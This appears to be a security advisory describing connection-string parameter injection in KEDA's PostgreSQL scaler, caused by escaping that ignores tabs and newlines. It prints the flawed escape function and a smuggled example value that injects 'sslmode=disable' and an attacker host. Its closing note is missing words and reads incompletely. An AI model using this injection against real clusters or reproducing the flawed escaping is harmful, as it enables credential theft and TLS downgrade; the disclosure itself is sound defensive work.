KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping

Summary

pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:

func escapePostgreConnectionParameter(str string) string {
    if !strings.Contains(str, " ") {
        return str       // returned as-is for any non-space whitespace
    }
    str = strings.ReplaceAll(str, "'", "\\'")
    return fmt.Sprintf("'%s'", str)
}

The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.

Vulnerable code

pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.

Impact

Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:

• Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
• Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword.
• Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior.

Note: the password parameter is appended in , which limits but does not eliminate credential exfiltration — injected still redirects the subsequent keyword's target.